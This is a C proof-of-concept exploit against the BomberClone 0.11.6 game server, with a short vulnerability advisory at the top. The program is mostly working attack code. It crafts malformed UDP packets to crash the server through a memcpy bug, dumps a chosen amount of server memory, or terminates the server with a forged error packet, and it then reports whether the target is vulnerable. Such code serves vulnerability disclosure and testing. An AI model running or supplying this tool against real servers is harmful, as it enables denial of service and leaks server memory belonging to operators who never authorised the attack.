// source: https://www.securityfocus.com/bid/19255/info
Bomberclone is prone to remote information-disclosure and denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.
These issues allow remote attackers to access sensitive information and to crash the application, denying further service to legitimate users.
Version 0.11.6 is reported vulnerable; other versions may also be affected.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 11000
#define BUFFSZ 0xffff
#define LEN_VERSION 20
#define LEN_GAMENAME 32
void show_bomberclone_info(u_char *p);
int put08(u_char *data, int num);
int get08(u_char *data, int *num);
int put16(u_char *data, int num);
int get16(u_char *data, int *num);
int put32(u_char *data, int num);
int get32(u_char *data, int *num);
#define putsx(data, src, len) len; strncpy(data - len, src, len);
void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
enum _network_data {
PKG_error = 0,
PKG_gameinfo,
PKG_joingame, // every packet below here will checked
// if it comes from a orginal player
PKG_contest,
PKG_playerid,
PKG_servermode,
PKG_pingreq,
PKG_pingack,
PKG_getfield,
PKG_getplayerdata,
PKG_teamdata,
PKG_fieldline,
PKG_pkgack,
PKG_mapinfo,
PKG_tunneldata,
PKG_updateinfo,
PKG_field, // forward - always be the first field
PKG_playerdata, // forward
PKG_bombdata, // forward
PKG_playerstatus, // forward
PKG_playermove, // forward
PKG_chat, // forward
PKG_ill, // forward
PKG_special, // forward
PKG_dropitem, // forward
PKG_respawn, // forward
PKG_quit // forward - always the last known type forwarded type
};
enum _pkgflags {
PKGF_ackreq = 1,
PKGF_ipv6 = 2
};
int main(int argc, char *argv[]) {
int sd,
attack,
len,
pcksz;
u_short port = PORT;
u_char *buff,
*p,
*t;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"BomberClone <= 0.11.6 bugs "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = memcpy crash in rscache_add\n"
" 2 = information disclosure in send_pkg\n"
" 3 = simple error message termination\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff;
p += put08(p, PKG_gameinfo); // typ
p += put08(p, 0); // flags
p += put16(p, 0); // id
t = p; p += 2; // len
p += put32(p, 0); // timestamp
p += put16(p, 0); // ??? unknown
p += put08(p, 0); // curplayers
p += put08(p, 0); // maxplayers
p += putsx(p, "", LEN_GAMENAME); // gamename
p += putsx(p, "", LEN_VERSION); // version
p += put08(p, 0); // broadcast
p += put08(p, -1); // password
put16(t, (p - t) - 2);
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 1);
close(sd);
show_bomberclone_info(buff);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(attack == 1) {
p = buff;
p += put08(p, PKG_gameinfo);
p += put08(p, PKGF_ackreq); // required!
p += put16(p, 0);
p += put16(p, 0xffff); // bug
p += put32(p, 0);
p += put16(p, 0);
p += put08(p, 0);
p += put08(p, 0);
p += putsx(p, "", LEN_GAMENAME);
p += putsx(p, "", LEN_VERSION);
p += put08(p, 0);
p += put08(p, -1);
printf("- send malformed packet\n");
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
} else if(attack == 2) {
printf(
"- insert the amount of bytes you want to read from the server's memory,\n"
" try with 3000 or 3500:\n"
" ");
fflush(stdin);
fgets(buff, BUFFSZ, stdin);
pcksz = atoi(buff);
p = buff;
p += put08(p, PKG_gameinfo);
p += put08(p, 0);
p += put16(p, 0);
p += put16(p, pcksz); // how many memory you want to see?
p += put32(p, 0);
p += put16(p, 0);
p += put08(p, 0);
p += put08(p, 0);
p += putsx(p, "", LEN_GAMENAME);
p += putsx(p, "", LEN_VERSION);
p += put08(p, 0);
p += put08(p, -1);
printf("- send custom info packet (%d 0x%x bytes)\n", pcksz, pcksz);
do {
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
} while((len > 0) && (buff[0] != PKG_gameinfo));
if(len > 0) show_dump(buff, len, stdout);
goto quit;
} else {
p = buff;
p += put08(p, PKG_error);
p += put08(p, 0);
p += put16(p, 0);
t = p; p += 2;
p += put08(p, 1); // nr
p += putsx(p, "bye bye", 128); // text
put16(t, (p - t) - 2);
printf("- send error packet\n");
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
}
close(sd);
sleep(ONESEC);
printf("- check server:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff;
p += put08(p, PKG_gameinfo);
p += put08(p, 0);
p += put16(p, 0);
t = p; p += 2;
p += put32(p, 0);
p += put16(p, 0);
p += put08(p, 0);
p += put08(p, 0);
p += putsx(p, "", LEN_GAMENAME);
p += putsx(p, "", LEN_VERSION);
p += put08(p, 0);
p += put08(p, -1);
put16(t, (p - t) - 2);
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
if(len < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
quit:
close(sd);
return(0);
}
void show_bomberclone_info(u_char *p) {
int curplayers,
maxplayers;
u_char *gamename,
*version;
p += 12;
p += get08(p, &curplayers);
p += get08(p, &maxplayers);
gamename = p;
version = p + LEN_GAMENAME;
printf("\n"
" server: %.*s\n"
" version: %.*s\n"
" players: %d/%d\n"
"\n",
LEN_GAMENAME, gamename,
LEN_VERSION, version,
curplayers, maxplayers);
}
int put08(u_char *data, int num) {
data[0] = num;
return(1);
}
int get08(u_char *data, int *num) {
if(num) {
*num = data[0];
}
return(1);
}
int put16(u_char *data, int num) {
data[0] = num;
data[1] = num >> 8;
return(2);
}
int get16(u_char *data, int *num) {
if(num) {
*num = data[0] | (data[1] << 8);
}
return(2);
}
int put32(u_char *data, int num) {
data[0] = num;
data[1] = num >> 8;
data[2] = num >> 16;
data[3] = num >> 24;
return(4);
}
int get32(u_char *data, int *num) {
if(num) {
*num = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24);
}
return(4);
}
void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
int retry,
len;
if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);
} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}
if(!retry) {
goto timeout_received;
}
} else {
if(timeout(sd, 3) < 0) {
goto timeout_received;
}
}
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
timeout_received:
if(err) {
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
return(-1);
}
int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif